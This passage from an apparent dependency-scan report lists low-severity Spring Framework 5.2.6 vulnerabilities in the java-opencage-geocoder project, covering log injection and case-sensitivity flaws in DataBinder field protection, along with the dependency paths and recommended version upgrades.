  • Vulnerable module: org.springframework:spring-core
  • Introduced through: org.springframework:spring-core@5.2.6.RELEASE, org.springframework:spring-beans@5.2.6.RELEASE and others

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-core@5.2.18.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-beans@5.2.18.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.2.18.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@5.2.18.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-expression@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.18.RELEASE.

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Improper Output Neutralization for Logs when a user provides malicious input, causing insertion of additional log entries.

Remediation

Upgrade org.springframework:spring-core to version 5.3.12, 5.2.18 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-context
  • Introduced through: org.springframework:spring-context@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@5.2.21.RELEASE.

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity via the patterns for disallowedFields on a DataBinder. As a result, a field is not effectively protected unless it is listed with both upper and lower case for the first character of the field, including nested fields within the property path.

Remediation

Upgrade org.springframework:spring-context to version 5.2.21, 5.3.19 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-context
  • Introduced through: org.springframework:spring-context@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.

Overview

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-context to version 6.1.14 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-core
  • Introduced through: org.springframework:spring-core@5.2.6.RELEASE, org.springframework:spring-beans@5.2.6.RELEASE and others

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-core@6.1.14.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-beans@6.1.14.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@6.1.14.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@6.1.14.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-expression@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.
  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-context@5.2.6.RELEASE org.springframework:spring-aop@5.2.6.RELEASE org.springframework:spring-beans@5.2.6.RELEASE org.springframework:spring-core@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-context@6.1.14.

Overview

org.springframework:spring-core is a core package within the spring-framework that contains multiple classes and utilities.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-core to version 6.1.14 or higher.

References

low severity

Improper Handling of Case Sensitivity

  • Vulnerable module: org.springframework:spring-web
  • Introduced through: org.springframework:spring-web@5.2.6.RELEASE

Detailed paths

  • Introduced through: hakan42/java-opencage-geocoder@hakan42/java-opencage-geocoder#68b958e61a3fa5ce70334cd183b3d549163b76f3 org.springframework:spring-web@5.2.6.RELEASE
    Remediation: Upgrade to org.springframework:spring-web@6.1.14.

Overview

org.springframework:spring-web is a package that provides a comprehensive programming and configuration model for modern Java-based enterprise applications - on any kind of deployment platform.

Affected versions of this package are vulnerable to Improper Handling of Case Sensitivity due to String.toLowerCase() having some Locale dependent exceptions that could potentially result in fields not protected as expected.

Note:

The fix for CVE-2022-22968 made disallowedFields patterns in DataBinder case insensitive.

This vulnerability was also fixed in commercial versions 5.3.41 and 6.0.25.

Remediation

Upgrade org.springframework:spring-web to version 6.1.14 or higher.

References